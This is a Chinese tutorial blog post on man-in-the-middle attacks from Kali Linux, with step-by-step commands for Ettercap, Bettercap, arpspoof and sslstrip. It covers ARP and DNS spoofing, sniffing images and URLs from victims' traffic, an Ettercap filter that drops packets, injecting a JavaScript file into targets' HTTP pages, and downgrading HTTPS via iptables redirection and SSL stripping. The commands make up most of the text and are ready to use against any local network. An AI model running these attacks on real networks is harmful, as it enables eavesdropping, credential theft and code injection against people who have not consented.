【kali渗透测试】中间人攻击

1. 中间人攻击概述

定义:攻击者插入通信的双方之间,截取、修改或者伪造它们的通信内容。

种类:

(1)ARP 欺骗

利用 ARP 协议的缺陷,使得攻击者可以伪造 MAC 地址,欺骗网络中的其他主机。

(2)DNS 欺骗

利用 DNS 的缺陷,使得攻击者可以伪造 IP 地址,欺骗网络中的其他主机。

2. Ettercap 框架

综合性中间人攻击工具。

(1)开启

kali 终端输入如下命令

bash 复制代码
ettercap -G

(2)选项介绍

  • 启动嗅探
  • 设置主接口:对该接口内的主机进行中间人攻击
  • 开启桥接接口嗅探
  • 设置桥接接口

2.1 执行 arp 欺骗

(1)kali 开启内核转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)嗅探主机

获取目标网络中的主机列表和网关信息

(3)选择目标主机

(4)开始 ARP 欺骗

(5)捕获数据包

Ettercap 只能开启 arp 欺骗,不能查看捕获的数据包。

  • tcpdump 捕获
bash 复制代码
tcpdump -i eth0 host ARP欺骗目标IP地址
  • driftnet 抓取图片
bash 复制代码
apt-get install driftnet
driftnet -i eth0
driftnet -i eth0 -a -d 文件目录

只能抓取未经过加密的数据包中的图片

  • urlsnarf 捕获URL地址
bash 复制代码
urlsnarf -i eth0

2.2 执行 dns 欺骗

执行 dns 欺骗前,需要先进行 arp 欺骗,成为中间人

(1)编辑 /etc/ettercap/etter.dns 文件,添加要欺骗的 dns 记录

bash 复制代码
......
# vim:ts=8:noexpandtab
* A 192.168.18.22

(2)开启 apache 服务器

bash 复制代码
service apache2 start

使得目标主机访问网页的请求通过 dns 记录解析为本机的网站

(3)使用 dns_spoof 插件

2.3 内容过滤

对数据包进行修改或者丢弃,例如:替换网页内容、注入 JavaScript 代码、修改图片、拦截邮件等。

(1)新建脚本文件

以过滤 80 号端口请求为例,新建 killwifi.filter

bash 复制代码
if (ip.proto == TCP && tcp.src == 80 )  //设置过滤请求
{
    kill();
    drop();  //删除该数据包
msg("kill 80 \n");  //提示消息
}

(2)编译脚本

bash 复制代码
etterfilter killwifi.filter -o killwifi.ef

(3)加载脚本

3. Bettercap 框架

对Wi-Fi网络、蓝牙设备、无线HID以及IPv4/IPv6网络进行侦查和中间人攻击

bash 复制代码
apt-get install bettercap
bettercap # 启动交互模式

3.1 执行 arp 欺骗

假设攻击者主机的IP地址是192.168.18.17,目标主机的IP地址是192.168.18.13,网关的IP地址是192.168.18.1

(1)使用 arp.spoof 模块

bash 复制代码
set arp.spoof.targets 192.168.18.13
set arp.spoof.fullduplex true # 设置双向 arp 欺骗,同时欺骗目标主机和网关
arp.spoof on # 启动 arp 欺骗
net.sniff on # 启动流量嗅探
arp.spoof off

3.2 执行 dns 欺骗

假设攻击者主机的IP地址是192.168.8.138,目标主机的IP地址是192.168.8.142,网关的IP地址是192.168.8.1

(1)启动 arp 欺骗

bash 复制代码
set arp.spoof.targets 192.168.8.142
arp.spoof on

(2)启动 dns 欺骗

bash 复制代码
set dns.spoof.domains dns欺骗的域名
set dns.spoof.address 192.168.8.138 # 设置 dns 欺骗的 ip 地址
dns.spoof on
net.sniff on

3.3 注入脚本

使用 Bettercap的http.proxy 模块,可以建立一个 Javascript 文件实现的 http 透明代理。

进行 arp 欺骗后,可以通过这个代理向目标主机浏览的 http 页面注入 Javascript 脚本。

bash 复制代码
setarp.spoof.targets 192.168.8.142
set http.proxy.script/root/xss.js
arp.spoof on
http.proxy on

目标主机访问任何网页,触发 xss.js 脚本。

3.4 CAP 文件

Bettercap 脚本文件

bash 复制代码
bettercap -caplet example.cap
caplets.update
caplets.show

4. arpspoof 发起中间人攻击

进行 arp 欺骗的工具,通过伪造 arp 应答包,使得目标主机或所有主机误认为攻击者的主机是网关。

轻量级、易于使用。

(1)开启 ip 转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)开启 arp 欺骗

bash 复制代码
arpspoof -i eth1 -t 目标主机ip地址 网关ip地址

(3)捕获数据包

bash 复制代码
tcpdump -i eth1 tcp port 80 and host 目标主机ip地址

5. SSL 攻击

ssl 是一种安全传输协议,TLS 是 SSL 的后续版本。使用了对称加密、非对称加密、数字签名等技术。

5.1 SSL 漏洞检测

  • testssl 工具
    检测任何端口上的 tls/ssl 加密服务。
bash 复制代码
wget https://testssl.sh/testssl.sh
chmod +x testssl.sh
/testssl.sh 域名或IP地址
/testssl.sh --heartbleed 域名或IP地址 # 检测特定的漏洞
  • SSLScan 工具
    依赖 OpenSSL 库,功能有局限性。
bash 复制代码
sslscan 域名或IP地址

5.2 SSL 中间人攻击

原理:在客户端于服务器之间插入一个代理,伪造服务器的证书给客户端,形成基于HTTPS的代理

(1)开启 ip 转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)将 HTTP 流量重定向到 SSLStrip 工具

bash 复制代码
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353

(3)监听降级客户端与服务器间的 ssl 通信

bash 复制代码
sslstrip -l 5353

(4)执行 arp 欺骗

bash 复制代码
ettercap -i eth1 -TqM arp:remote //192.168.8.1/ //192.168.8.143/

此时,目标主机访问 https 网页时重定向为 http

相关推荐
2401_873479407 小时前
企业安全团队如何配合公安协查?IP查询在电子取证中的技术实践
tcp/ip·安全·网络安全·php
网安情报局9 小时前
如何选择合适的AI大模型:快快云安全AI大模型聚合平台全解析
人工智能·网络安全·ai大模型
忡黑梨10 小时前
eNSP_从直连到BGP全网互通
c语言·网络·数据结构·python·算法·网络安全
其实防守也摸鱼11 小时前
带你了解与配置phpmyadmin
笔记·安全·网络安全·pdf·编辑器·工具·调试
菩提小狗12 小时前
每日安全情报报告 · 2026-04-27
网络安全·漏洞·cve·安全情报·每日安全
Chengbei1113 小时前
面向红队的 AI 赋能全场景流量分析仪 网页 / APP / 终端 / IoT 全域 HTTPS 抓包解密利器
人工智能·物联网·网络协议·web安全·网络安全·https·系统安全
网络安全许木14 小时前
自学渗透测试第29天(Linux SUID/SGID基础实验)
linux·运维·服务器·web安全·渗透测试
菩提小狗14 小时前
每日安全情报报告 · 2026-04-29
网络安全·漏洞·cve·安全情报·每日安全
FORCECON116 小时前
力控船舶智能运营,机舱监控IEWS/能效管理IEES/网络安全IACS,软硬件一体化解决方案
网络安全·scada·船舶·能效管理·机舱监控
合天网安实验室1 天前
记录一个免杀的php webshell demo
渗透测试·php·webshell·免杀